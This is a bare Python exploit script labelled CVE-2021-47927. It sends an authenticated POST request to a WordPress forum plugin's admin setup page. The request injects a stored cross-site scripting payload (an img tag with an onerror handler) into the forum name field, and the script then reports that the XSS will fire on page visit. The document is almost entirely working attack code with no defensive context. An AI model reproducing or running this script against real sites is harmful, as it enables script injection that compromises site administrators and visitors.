CVE-2021-47927

import requests # Target URL (replace with actual target) target_url = "http://target.com/wp-admin/admin.php?page=wps_forum_setup" # Authentication cookies (required) cookies = { "wordpress_logged_in_example": "session_cookie_value" } # Malicious payload for Stored XSS payload = "<img src=x onerror=alert('XSS')>" # Data to be sent in the POST request data = { "wps_admin_forum_add_name": payload, "wps_admin_forum_add_slug": "exploited_forum", "action": "add" } # Send the exploitation request response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully. XSS triggered on page visit.") else: print("[-] Failed to send payload.")

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